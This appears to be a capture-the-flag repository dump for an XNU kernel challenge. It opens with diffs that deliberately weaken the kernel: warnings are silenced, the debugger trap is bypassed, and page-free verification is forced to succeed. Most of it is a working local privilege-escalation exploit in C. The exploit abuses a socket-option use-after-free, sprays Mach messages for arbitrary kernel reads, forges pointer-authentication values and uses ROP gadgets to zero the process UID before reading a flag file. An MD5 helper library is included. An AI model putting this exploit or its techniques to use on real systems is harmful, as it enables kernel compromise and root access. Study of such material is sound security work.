$BUILDER=`whoami`; 458 | +my $BUILDER="sigpwny"; 459 | $BUILDER =~ s/[\n\t]//g; 460 | $BUILD_OBJROOT =~ s|.*(xnu.*)|$1|; 461 | 462 | diff --git a/makedefs/MakeInc.def b/makedefs/MakeInc.def 463 | index 0366b621..9e3d46da 100644 464 | --- a/makedefs/MakeInc.def 465 | +++ b/makedefs/MakeInc.def 466 | @@ -166,7 +166,7 @@ KC++ := $(CXX) 467 | # 468 | 469 | CWARNFLAGS_STD = \ 470 | - -Wall -Wno-format-y2k -W -Wstrict-prototypes -Wmissing-prototypes \ 471 | + -w -Wno-format-y2k -W -Wstrict-prototypes -Wmissing-prototypes \ 472 | -Wpointer-arith -Wreturn-type -Wcast-qual -Wwrite-strings -Wswitch \ 473 | -Wshadow -Wcast-align -Wchar-subscripts -Winline \ 474 | -Wnested-externs -Wredundant-decls 475 | @@ -174,7 +174,7 @@ CWARNFLAGS_STD = \ 476 | export CWARNFLAGS ?= $(CWARNFLAGS_STD) 477 | 478 | CXXWARNFLAGS_STD = \ 479 | - -Wall -Wno-format-y2k -W \ 480 | + -w -Wno-format-y2k -W \ 481 | -Wpointer-arith -Wreturn-type -Wcast-qual -Wwrite-strings -Wswitch \ 482 | -Wcast-align -Wchar-subscripts -Wredundant-decls 483 | 484 | diff --git a/osfmk/i386/user_ldt.c b/osfmk/i386/user_ldt.c 485 | index 6e32ba38..88bbd726 100644 486 | --- a/osfmk/i386/user_ldt.c 487 | +++ b/osfmk/i386/user_ldt.c 488 | @@ -176,7 +176,7 @@ i386_set_ldt( 489 | } 490 | 491 | ldt_count = end_sel - begin_sel; 492 | - 493 | + /* XXX allocation under task lock */ 494 | new_ldt = (user_ldt_t)kalloc(sizeof(struct user_ldt) + (ldt_count * sizeof(struct real_descriptor))); 495 | if (new_ldt == NULL) { 496 | task_unlock(task); 497 | @@ -212,6 +212,7 @@ i386_set_ldt( 498 | * Install new descriptors. 499 | */ 500 | if (descs != 0) { 501 | + /* XXX copyin under task lock */ 502 | err = copyin(descs, (char *)&new_ldt->ldt[start_sel - begin_sel], 503 | num_sels * sizeof(struct real_descriptor)); 504 | if (err != 0) 505 | @@ -226,7 +227,7 @@ i386_set_ldt( 506 | 507 | /* 508 | * Validate descriptors. 509 | - * Only allow descriptors with user priviledges. 510 | + * Only allow descriptors with user privileges. 511 | */ 512 | for (i = 0, dp = (struct real_descriptor *) &new_ldt->ldt[start_sel - begin_sel]; 513 | i < num_sels; 514 | @@ -235,7 +236,8 @@ i386_set_ldt( 515 | switch (dp->access & ~ACC_A) { 516 | case 0: 517 | case ACC_P: 518 | - /* valid empty descriptor */ 519 | + /* valid empty descriptor, clear Present preemptively */ 520 | + dp->access &= (~ACC_P & 0xff); 521 | break; 522 | case ACC_P | ACC_PL_U | ACC_DATA: 523 | case ACC_P | ACC_PL_U | ACC_DATA_W: 524 | @@ -245,8 +247,6 @@ i386_set_ldt( 525 | case ACC_P | ACC_PL_U | ACC_CODE_R: 526 | case ACC_P | ACC_PL_U | ACC_CODE_C: 527 | case ACC_P | ACC_PL_U | ACC_CODE_CR: 528 | - case ACC_P | ACC_PL_U | ACC_CALL_GATE_16: 529 | - case ACC_P | ACC_PL_U | ACC_CALL_GATE: 530 | break; 531 | default: 532 | task_unlock(task); 533 | @@ -389,10 +389,10 @@ user_ldt_set( 534 | bcopy(user_ldt->ldt, &ldtp[user_ldt->start], 535 | sizeof(struct real_descriptor) * (user_ldt->count)); 536 | 537 | - gdt_desc_p(USER_LDT)->limit_low = (sizeof(struct real_descriptor) * (user_ldt->start + user_ldt->count)) - 1; 538 | + gdt_desc_p(USER_LDT)->limit_low = (uint16_t)((sizeof(struct real_descriptor) * (user_ldt->start + user_ldt->count)) - 1); 539 | 540 | ml_cpu_set_ldt(USER_LDT); 541 | } else { 542 | ml_cpu_set_ldt(KERNEL_LDT); 543 | } 544 | -} 545 | +} 546 | \ No newline at end of file 547 | diff --git a/osfmk/kdp/ml/x86_64/kdp_machdep.c b/osfmk/kdp/ml/x86_64/kdp_machdep.c 548 | index 1da2a013..5c197cf4 100644 549 | --- a/osfmk/kdp/ml/x86_64/kdp_machdep.c 550 | +++ b/osfmk/kdp/ml/x86_64/kdp_machdep.c 551 | @@ -388,6 +388,8 @@ kdp_i386_trap( 552 | ) 553 | { 554 | unsigned int exception, subcode = 0, code; 555 | + printf("KDP hit a trap (0x%X), skipping\n", trapno); 556 | + return FALSE; 557 | 558 | if (trapno != T_INT3 && trapno != T_DEBUG) { 559 | kprintf("Debugger: Unexpected kernel trap number: " 560 | diff --git a/osfmk/vm/vm_pageout.c b/osfmk/vm/vm_pageout.c 561 | index 8906e1ab..24e9c7c1 100644 562 | --- a/osfmk/vm/vm_pageout.c 563 | +++ b/osfmk/vm/vm_pageout.c 564 | @@ -6320,7 +6320,6 @@ vm_paging_map_object( 565 | page->pmapped = TRUE; 566 | cache_attr = ((unsigned int) object->wimg_bits) & VM_WIMG_MASK; 567 | 568 | - //assert(pmap_verify_free(page->phys_page)); 569 | PMAP_ENTER(kernel_pmap, 570 | *address + page_map_offset, 571 | page, 572 | @@ -6763,7 +6762,6 @@ vm_page_decrypt( 573 | * that page. That code relies on "pmapped" being FALSE, so that the 574 | * caches get synchronized when the page is first mapped. 575 | */ 576 | - assert(pmap_verify_free(page->phys_page)); 577 | page->pmapped = FALSE; 578 | page->wpmapped = FALSE; 579 | 580 | diff --git a/osfmk/vm/vm_resident.c b/osfmk/vm/vm_resident.c 581 | index 3a380d4d..d5d79f14 100644 582 | --- a/osfmk/vm/vm_resident.c 583 | +++ b/osfmk/vm/vm_resident.c 584 | @@ -101,7 +101,7 @@ 585 | 586 | #include 587 | 588 | -boolean_t vm_page_free_verify = TRUE; 589 | +boolean_t vm_page_free_verify = FALSE; 590 | 591 | int speculative_age_index = 0; 592 | int speculative_steal_index = 0; 593 | @@ -1763,7 +1763,6 @@ return_page_from_cpu_list: 594 | assert(mem->object == VM_OBJECT_NULL); 595 | assert(!mem->laundry); 596 | assert(!mem->free); 597 | - assert(pmap_verify_free(mem->phys_page)); 598 | assert(mem->busy); 599 | assert(!mem->encrypted); 600 | assert(!mem->pmapped); 601 | @@ -1873,7 +1872,6 @@ return_page_from_cpu_list: 602 | assert(mem->free); 603 | mem->free = FALSE; 604 | 605 | - assert(pmap_verify_free(mem->phys_page)); 606 | assert(mem->busy); 607 | assert(!mem->free); 608 | assert(!mem->encrypted); 609 | @@ -1958,7 +1956,6 @@ vm_page_release( 610 | #endif 611 | assert(!mem->private && !mem->fictitious); 612 | if (vm_page_free_verify) { 613 | - assert(pmap_verify_free(mem->phys_page)); 614 | } 615 | // dbgLog(mem->phys_page, vm_page_free_count, vm_page_wire_count, 5); /* (TEST/DEBUG) */ 616 | 617 | @@ -2361,7 +2358,6 @@ vm_page_free_list( 618 | vm_page_free_prepare_object(mem, TRUE); 619 | 620 | if (vm_page_free_verify && !mem->fictitious && !mem->private) { 621 | - assert(pmap_verify_free(mem->phys_page)); 622 | } 623 | assert(mem->busy); 624 | 625 | diff --git a/osfmk/x86_64/pmap.c b/osfmk/x86_64/pmap.c 626 | index 13c439a9..0f1481d1 100644 627 | --- a/osfmk/x86_64/pmap.c 628 | +++ b/osfmk/x86_64/pmap.c 629 | @@ -1254,7 +1254,12 @@ pmap_verify_free( 630 | return(FALSE); 631 | pv_h = pai_to_pvh(pn); 632 | result = (pv_h->pmap == PMAP_NULL); 633 | - return(result); 634 | + 635 | + if (!result) { 636 | + printf("[*] pmap_verify_free was going to return false\n"); 637 | + } 638 | + 639 | + return TRUE; 640 | } 641 | 642 | boolean_t 643 | -------------------------------------------------------------------------------- /solve_2much4u/main.c: -------------------------------------------------------------------------------- 1 | // gcc main.c md5.c -o exploit -std=c99 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "md5.h" 10 | 11 | #define SO_TAG 0x1337 12 | #define SO_TAG_LEN 0x50 13 | #define TAG_LEN 0x48 14 | #define ZONE_SIZE 8 15 | 16 | enum TAG_OPS { 17 | OP_ALLOC = 0, 18 | OP_COPY = 1, 19 | OP_FREE = 3, 20 | }; 21 | 22 | typedef struct { 23 | uint32_t operation; 24 | uint32_t padding; 25 | uint8_t buffer[0x40]; 26 | } __attribute__((__packed__)) tag_val_t; 27 | 28 | struct ool_ports_msg { 29 | mach_msg_header_t hdr; 30 | mach_msg_body_t body; 31 | mach_msg_ool_ports_descriptor_t ool_ports; 32 | }; 33 | 34 | struct ool_msg { 35 | mach_msg_header_t hdr; 36 | mach_msg_body_t body; 37 | mach_msg_ool_descriptor_t ool; 38 | }; 39 | 40 | struct ool_msg_recv { 41 | mach_msg_header_t hdr; 42 | mach_msg_body_t body; 43 | mach_msg_ool_descriptor_t ool; 44 | mach_msg_trailer_t trailer; 45 | }; 46 | 47 | int kalloc_new_tag() { 48 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 49 | if (sockfd <= 0) { 50 | printf("Socket alloc failed\n"); 51 | exit(0); 52 | } 53 | 54 | tag_val_t* tag_val = malloc(SO_TAG_LEN); 55 | tag_val->operation = OP_ALLOC; 56 | setsockopt(sockfd, SOL_SOCKET, SO_TAG, tag_val, SO_TAG_LEN); 57 | free(tag_val); 58 | return sockfd; 59 | } 60 | 61 | void kfree_tag(int sockfd) { 62 | tag_val_t* tag_val = malloc(SO_TAG_LEN); 63 | tag_val->operation = OP_FREE; 64 | setsockopt(sockfd, SOL_SOCKET, SO_TAG, tag_val, SO_TAG_LEN); 65 | free(tag_val); 66 | } 67 | 68 | void memcpy_tag(int sockfd, tag_val_t* tag_val) { 69 | tag_val->operation = OP_COPY; 70 | setsockopt(sockfd, SOL_SOCKET, SO_TAG, tag_val, SO_TAG_LEN); 71 | } 72 | 73 | tag_val_t* read_tag(int sockfd) { 74 | tag_val_t* tag_val = malloc(SO_TAG_LEN); 75 | socklen_t out_len = SO_TAG_LEN; 76 | memset(tag_val, 0, SO_TAG_LEN); 77 | getsockopt(sockfd, SOL_SOCKET, SO_TAG, tag_val, &out_len); 78 | return tag_val; 79 | } 80 | 81 | mach_port_t* spray_port(mach_port_t target_port, size_t target_zone, int alloc_count) { 82 | int port_count = target_zone / sizeof(uint64_t); 83 | mach_port_t* dest_ports = malloc(alloc_count * sizeof(mach_port_t)); 84 | 85 | kern_return_t err; 86 | for (int i = 0; i < alloc_count; i++) { 87 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &dest_ports[i]); 88 | if (err != KERN_SUCCESS) { 89 | printf("Failed to allocate port: %s\n", mach_error_string(err)); 90 | exit(0); 91 | } 92 | 93 | mach_port_t* ports = malloc(sizeof(mach_port_t) * port_count); 94 | for (int i = 0; i < port_count; i++) { 95 | ports[i] = target_port; 96 | } 97 | 98 | struct ool_ports_msg* msg = calloc(1, sizeof(struct ool_ports_msg)); 99 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 100 | msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_ports_msg); 101 | msg->hdr.msgh_remote_port = dest_ports[i]; 102 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 103 | msg->hdr.msgh_id = 0x41414141; 104 | msg->body.msgh_descriptor_count = 1; 105 | msg->ool_ports.address = ports; 106 | msg->ool_ports.count = port_count; 107 | msg->ool_ports.deallocate = 0; 108 | msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; 109 | msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 110 | msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; 111 | 112 | err = mach_msg(&msg->hdr, 113 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 114 | (mach_msg_size_t)sizeof(struct ool_ports_msg), 115 | 0, 116 | MACH_PORT_NULL, 117 | MACH_MSG_TIMEOUT_NONE, 118 | MACH_PORT_NULL); 119 | 120 | free(ports); 121 | free(msg); 122 | 123 | if (err != KERN_SUCCESS) { 124 | printf("Failed to send message: %s\n", mach_error_string(err)); 125 | exit(0); 126 | } 127 | } 128 | 129 | return dest_ports; 130 | } 131 | 132 | mach_port_t* spray_mem(void* mem, size_t len, int alloc_count) { 133 | mach_port_t* dest_ports = malloc(alloc_count * sizeof(mach_port_t)); 134 | 135 | kern_return_t err; 136 | for (int i = 0; i < alloc_count; i++) { 137 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &dest_ports[i]); 138 | if (err != KERN_SUCCESS) { 139 | printf("Failed to allocate port: %s\n", mach_error_string(err)); 140 | exit(0); 141 | } 142 | 143 | struct ool_msg* msg = calloc(1, sizeof(struct ool_msg)); 144 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 145 | msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); 146 | msg->hdr.msgh_remote_port = dest_ports[i]; 147 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 148 | msg->hdr.msgh_id = 0x41414141; 149 | msg->body.msgh_descriptor_count = 1; 150 | msg->ool.address = mem; 151 | msg->ool.size = len; 152 | msg->ool.deallocate = 0; 153 | msg->ool.copy = MACH_MSG_PHYSICAL_COPY; 154 | msg->ool.type = MACH_MSG_OOL_DESCRIPTOR; 155 | 156 | err = mach_msg(&msg->hdr, 157 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 158 | (mach_msg_size_t)sizeof(struct ool_msg), 159 | 0, 160 | MACH_PORT_NULL, 161 | MACH_MSG_TIMEOUT_NONE, 162 | MACH_PORT_NULL); 163 | 164 | free(msg); 165 | 166 | if (err != KERN_SUCCESS) { 167 | printf("Failed to send message: %s\n", mach_error_string(err)); 168 | exit(0); 169 | } 170 | } 171 | 172 | return dest_ports; 173 | } 174 | 175 | uint64_t recv_mem(mach_port_t* dest_ports, int alloc_count) { 176 | uint8_t expected[ZONE_SIZE]; 177 | memset(expected, 0x41, ZONE_SIZE); 178 | 179 | for (int i = 0; i < alloc_count; i++) { 180 | struct ool_msg_recv* msg = calloc(1, sizeof(struct ool_msg_recv)); 181 | 182 | mach_msg_return_t ret = mach_msg( 183 | /* msg */ (mach_msg_header_t *)msg, 184 | /* option */ MACH_RCV_MSG, 185 | /* send size */ 0, 186 | /* recv size */ sizeof(struct ool_msg_recv), 187 | /* recv_name */ dest_ports[i], 188 | /* timeout */ MACH_MSG_TIMEOUT_NONE, 189 | /* notify port */ MACH_PORT_NULL); 190 | if (ret != MACH_MSG_SUCCESS) { 191 | printf("Failed to recv mach_msg: %s\n", mach_error_string(ret)); 192 | return 0; 193 | } 194 | 195 | void* attr = msg->ool.address; 196 | if (memcmp(attr, expected, ZONE_SIZE)) { 197 | free(msg); 198 | return *(uint64_t*)attr; 199 | } 200 | free(msg); 201 | } 202 | return 0; 203 | } 204 | 205 | void set_map_copy(int sockfd, uint64_t addr) { 206 | tag_val_t val; 207 | uint64_t* copy = (uint64_t*)&val.buffer; 208 | copy[0] = 3; 209 | copy[1] = 0; 210 | copy[2] = 8; 211 | copy[3] = addr; 212 | copy[4] = 0x48; 213 | 214 | memcpy_tag(sockfd, &val); 215 | } 216 | 217 | void destroy_spray(mach_port_t* dest_ports, int alloc_count) { 218 | kern_return_t err = KERN_SUCCESS; 219 | for (int i = 0; i < alloc_count; i++) { 220 | err = mach_port_destroy(mach_task_self(), dest_ports[i]); 221 | if (err != KERN_SUCCESS) { 222 | printf("Failed to destory ports: %s\n", mach_error_string(err)); 223 | exit(0); 224 | } 225 | } 226 | free(dest_ports); 227 | } 228 | 229 | uint64_t pac_ptr(int mode, uint64_t context, uint64_t input) { 230 | uint64_t stripped_input = input & 0x80007fffffffffff; 231 | MD5Context ctx; 232 | md5Init(&ctx); 233 | md5Update(&ctx, &mode, 4); 234 | md5Update(&ctx, &context, 8); 235 | md5Update(&ctx, &stripped_input, 8); 236 | md5Finalize(&ctx); 237 | 238 | uint16_t checksum = 0; 239 | for (int i = 0; i < 0x10; i+=2) { 240 | uint16_t part = ctx.digest[i] | (ctx.digest[i + 1] << 8); 241 | checksum ^= part; 242 | } 243 | 244 | uint64_t _checksum = checksum; 245 | return (_checksum << 0x2f) | stripped_input; 246 | } 247 | 248 | int num_sockets = 100; 249 | int alloc_count = 5000; 250 | int target_zone = 0x48; 251 | 252 | uint64_t arbitrary_read(uint64_t kaddr) { 253 | void* mem = malloc(ZONE_SIZE); 254 | memset(mem, 0x41, ZONE_SIZE); 255 | mach_port_t* pre_spray = spray_mem(mem, ZONE_SIZE, alloc_count); 256 | 257 | int tag_sock = kalloc_new_tag(); 258 | kfree_tag(tag_sock); 259 | 260 | mach_port_t* target_spray = spray_mem(mem, ZONE_SIZE, alloc_count); 261 | 262 | set_map_copy(tag_sock, kaddr); 263 | uint64_t leak = recv_mem(target_spray, alloc_count); 264 | 265 | destroy_spray(pre_spray, alloc_count); 266 | destroy_spray(target_spray, alloc_count); 267 | 268 | free(mem); 269 | close(tag_sock); 270 | 271 | return leak; 272 | } 273 | 274 | uint64_t leak_port(mach_port_t port) { 275 | mach_port_t* dest_ports = spray_port(port, target_zone, alloc_count); 276 | destroy_spray(dest_ports, alloc_count); 277 | 278 | int* sockfds = malloc(sizeof(int) * num_sockets); 279 | for (int i = 0; i < num_sockets; i++) { 280 | sockfds[i] = kalloc_new_tag(); 281 | } 282 | 283 | uint64_t* leak = (uint64_t*)read_tag(sockfds[0]); 284 | uint64_t port_addr = leak[5]; 285 | 286 | free(leak); 287 | for (int i = 0; i < num_sockets; i++) { 288 | kfree_tag(sockfds[i]); 289 | close(sockfds[i]); 290 | } 291 | free(sockfds); 292 | return port_addr; 293 | } 294 | 295 | uint64_t socket_lookup(uint64_t proc, int fd) { 296 | uint64_t fpd = arbitrary_read(proc + 0xc8); 297 | uint64_t ofiles = arbitrary_read(fpd); 298 | uint64_t fp = arbitrary_read(ofiles + (fd * 8)); 299 | uint64_t glob = arbitrary_read(fp + 8); 300 | return arbitrary_read(glob + 0x48); 301 | } 302 | 303 | int main(int argc, char** argv) { 304 | uint64_t task_port = leak_port(mach_task_self()); 305 | uint64_t task = arbitrary_read(task_port + 0x70); 306 | printf("Task address: 0x%llx\n", task); 307 | uint64_t proc = arbitrary_read(task + 0x2c0); 308 | printf("Proc address: 0x%llx\n", proc); 309 | 310 | int sock = kalloc_new_tag(); 311 | uint64_t socket_addr = socket_lookup(proc, sock); 312 | printf("Socket address: 0x%llx\n", socket_addr); 313 | 314 | uint64_t tag_address = arbitrary_read(socket_addr + 0x2d0); 315 | printf("Tag address: 0x%llx\n", tag_address); 316 | 317 | uint64_t ucred = arbitrary_read(proc + 0xc0); 318 | printf("ucred address: 0x%llx\n", ucred); 319 | uint64_t uid_addr = ucred + 0x18; 320 | uint64_t gid_addr = ucred + 0x28; 321 | 322 | uint64_t gadget_1 = 0xffffff80004d815e; // mov rdi, qword ptr [rsi + 8] ; call qword ptr [rsi] 323 | uint64_t gadget_2 = 0xffffff8000445f36; // mov dword [rdi+0x4], 0x0 ; xor eax, eax 324 | 325 | uint64_t pac_vtable = pac_ptr(0, tag_address + 0x40, tag_address + 0x48); 326 | uint64_t pac_fn_ptr = pac_ptr(1, tag_address + 0x48, gadget_1); 327 | 328 | kfree_tag(sock); 329 | 330 | uint64_t* mem = malloc(0x10); 331 | mem[0] = pac_vtable; 332 | mem[1] = pac_fn_ptr; 333 | 334 | spray_mem(mem, 0x10, alloc_count); 335 | 336 | tag_val_t val; 337 | uint64_t* val_buf = &val.buffer; 338 | val_buf[0] = gadget_2; 339 | val_buf[1] = uid_addr - 4; 340 | memcpy_tag(sock, &val); 341 | 342 | printf("EUID: %d\n", geteuid()); 343 | 344 | read_tag(sock); 345 | 346 | printf("EUID: %d\n", geteuid()); 347 | 348 | FILE* f = fopen("/flag", "r"); 349 | 350 | char flag_buf[0x100]; 351 | fread(flag_buf, 1, 0x100, f); 352 | printf("%s\n", flag_buf); 353 | 354 | return 0; 355 | } -------------------------------------------------------------------------------- /solve_2much4u/md5.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm 3 | * and modified slightly to be functionally identical but condensed into control structures. 4 | */ 5 | 6 | #include "md5.h" 7 | 8 | /* 9 | * Constants defined by the MD5 algorithm 10 | */ 11 | #define A 0x67452301 12 | #define B 0xefcdab89 13 | #define C 0x98badcfe 14 | #define D 0x10325476 15 | 16 | static uint32_t S[] = {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 17 | 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 18 | 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 19 | 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21}; 20 | 21 | static uint32_t K[] = {0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee, 22 | 0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501, 23 | 0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be, 24 | 0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821, 25 | 0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa, 26 | 0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8, 27 | 0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed, 28 | 0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a, 29 | 0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c, 30 | 0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70, 31 | 0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05, 32 | 0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665, 33 | 0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039, 34 | 0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1, 35 | 0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1, 36 | 0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391}; 37 | 38 | /* 39 | * Padding used to make the size (in bits) of the input congruent to 448 mod 512 40 | */ 41 | static uint8_t PADDING[] = {0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 43 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 45 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 49 | 50 | /* 51 | * Bit-manipulation functions defined by the MD5 algorithm 52 | */ 53 | #define F(X, Y, Z) ((X & Y) | (~X & Z)) 54 | #define G(X, Y, Z) ((X & Z) | (Y & ~Z)) 55 | #define H(X, Y, Z) (X ^ Y ^ Z) 56 | #define I(X, Y, Z) (Y ^ (X | ~Z)) 57 | 58 | /* 59 | * Rotates a 32-bit word left by n bits 60 | */ 61 | uint32_t rotateLeft(uint32_t x, uint32_t n){ 62 | return (x << n) | (x >> (32 - n)); 63 | } 64 | 65 | 66 | /* 67 | * Initialize a context 68 | */ 69 | void md5Init(MD5Context *ctx){ 70 | ctx->size = (uint64_t)0; 71 | 72 | ctx->buffer[0] = (uint32_t)A; 73 | ctx->buffer[1] = (uint32_t)B; 74 | ctx->buffer[2] = (uint32_t)C; 75 | ctx->buffer[3] = (uint32_t)D; 76 | } 77 | 78 | /* 79 | * Add some amount of input to the context 80 | * 81 | * If the input fills out a block of 512 bits, apply the algorithm (md5Step) 82 | * and save the result in the buffer. Also updates the overall size. 83 | */ 84 | void md5Update(MD5Context *ctx, uint8_t *input_buffer, size_t input_len){ 85 | uint32_t input[16]; 86 | unsigned int offset = ctx->size % 64; 87 | ctx->size += (uint64_t)input_len; 88 | 89 | // Copy each byte in input_buffer into the next space in our context input 90 | for(unsigned int i = 0; i < input_len; ++i){ 91 | ctx->input[offset++] = (uint8_t)*(input_buffer + i); 92 | 93 | // If we've filled our context input, copy it into our local array input 94 | // then reset the offset to 0 and fill in a new buffer. 95 | // Every time we fill out a chunk, we run it through the algorithm 96 | // to enable some back and forth between cpu and i/o 97 | if(offset % 64 == 0){ 98 | for(unsigned int j = 0; j < 16; ++j){ 99 | // Convert to little-endian 100 | // The local variable `input` our 512-bit chunk separated into 32-bit words 101 | // we can use in calculations 102 | input[j] = (uint32_t)(ctx->input[(j * 4) + 3]) << 24 | 103 | (uint32_t)(ctx->input[(j * 4) + 2]) << 16 | 104 | (uint32_t)(ctx->input[(j * 4) + 1]) << 8 | 105 | (uint32_t)(ctx->input[(j * 4)]); 106 | } 107 | md5Step(ctx->buffer, input); 108 | offset = 0; 109 | } 110 | } 111 | } 112 | 113 | /* 114 | * Pad the current input to get to 448 bytes, append the size in bits to the very end, 115 | * and save the result of the final iteration into digest. 116 | */ 117 | void md5Finalize(MD5Context *ctx){ 118 | uint32_t input[16]; 119 | unsigned int offset = ctx->size % 64; 120 | unsigned int padding_length = offset < 56 ? 56 - offset : (56 + 64) - offset; 121 | 122 | // Fill in the padding and undo the changes to size that resulted from the update 123 | md5Update(ctx, PADDING, padding_length); 124 | ctx->size -= (uint64_t)padding_length; 125 | 126 | // Do a final update (internal to this function) 127 | // Last two 32-bit words are the two halves of the size (converted from bytes to bits) 128 | for(unsigned int j = 0; j < 14; ++j){ 129 | input[j] = (uint32_t)(ctx->input[(j * 4) + 3]) << 24 | 130 | (uint32_t)(ctx->input[(j * 4) + 2]) << 16 | 131 | (uint32_t)(ctx->input[(j * 4) + 1]) << 8 | 132 | (uint32_t)(ctx->input[(j * 4)]); 133 | } 134 | input[14] = (uint32_t)(ctx->size * 8); 135 | input[15] = (uint32_t)((ctx->size * 8) >> 32); 136 | 137 | md5Step(ctx->buffer, input); 138 | 139 | // Move the result into digest (convert from little-endian) 140 | for(unsigned int i = 0; i < 4; ++i){ 141 | ctx->digest[(i * 4) + 0] = (uint8_t)((ctx->buffer[i] & 0x000000FF)); 142 | ctx->digest[(i * 4) + 1] = (uint8_t)((ctx->buffer[i] & 0x0000FF00) >> 8); 143 | ctx->digest[(i * 4) + 2] = (uint8_t)((ctx->buffer[i] & 0x00FF0000) >> 16); 144 | ctx->digest[(i * 4) + 3] = (uint8_t)((ctx->buffer[i] & 0xFF000000) >> 24); 145 | } 146 | } 147 | 148 | /* 149 | * Step on 512 bits of input with the main MD5 algorithm. 150 | */ 151 | void md5Step(uint32_t *buffer, uint32_t *input){ 152 | uint32_t AA = buffer[0]; 153 | uint32_t BB = buffer[1]; 154 | uint32_t CC = buffer[2]; 155 | uint32_t DD = buffer[3]; 156 | 157 | uint32_t E; 158 | 159 | unsigned int j; 160 | 161 | for(unsigned int i = 0; i < 64; ++i){ 162 | switch(i / 16){ 163 | case 0: 164 | E = F(BB, CC, DD); 165 | j = i; 166 | break; 167 | case 1: 168 | E = G(BB, CC, DD); 169 | j = ((i * 5) + 1) % 16; 170 | break; 171 | case 2: 172 | E = H(BB, CC, DD); 173 | j = ((i * 3) + 5) % 16; 174 | break; 175 | default: 176 | E = I(BB, CC, DD); 177 | j = (i * 7) % 16; 178 | break; 179 | } 180 | 181 | uint32_t temp = DD; 182 | DD = CC; 183 | CC = BB; 184 | BB = BB + rotateLeft(AA + E + K[i] + input[j], S[i]); 185 | AA = temp; 186 | } 187 | 188 | buffer[0] += AA; 189 | buffer[1] += BB; 190 | buffer[2] += CC; 191 | buffer[3] += DD; 192 | } 193 | 194 | /* 195 | * Functions that run the algorithm on the provided input and put the digest into result. 196 | * result should be able to store 16 bytes. 197 | */ 198 | void md5String(char *input, uint8_t *result){ 199 | MD5Context ctx; 200 | md5Init(&ctx); 201 | md5Update(&ctx, (uint8_t *)input, strlen(input)); 202 | md5Finalize(&ctx); 203 | 204 | memcpy(result, ctx.digest, 16); 205 | } 206 | 207 | void md5File(FILE *file, uint8_t *result){ 208 | char *input_buffer = malloc(1024); 209 | size_t input_size = 0; 210 | 211 | MD5Context ctx; 212 | md5Init(&ctx); 213 | 214 | while((input_size = fread(input_buffer, 1, 1024, file)) > 0){ 215 | md5Update(&ctx, (uint8_t *)input_buffer, input_size); 216 | } 217 | 218 | md5Finalize(&ctx); 219 | 220 | free(input_buffer); 221 | 222 | memcpy(result, ctx.digest, 16); 223 | } -------------------------------------------------------------------------------- /solve_2much4u/md5.h: -------------------------------------------------------------------------------- 1 | #ifndef MD5_H 2 | #define MD5_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | typedef struct{ 10 | uint64_t size; // Size of input in bytes 11 | uint32_t buffer[4]; // Current accumulation of hash 12 | uint8_t input[64]; // Input to be used in the next step 13 | uint8_t digest[16]; // Result of algorithm 14 | }MD5Context; 15 | 16 | void md5Init(MD5Context *ctx); 17 | void md5Update(MD5Context *ctx, uint8_t *input, size_t input_len); 18 | void md5Finalize(MD5Context *ctx); 19 | void md5Step(uint32_t *buffer, uint32_t *input); 20 | 21 | void md5String(char *input, uint8_t *result); 22 | void md5File(FILE *file, uint8_t *result); 23 | 24 | #endif --------------------------------------------------------------------------------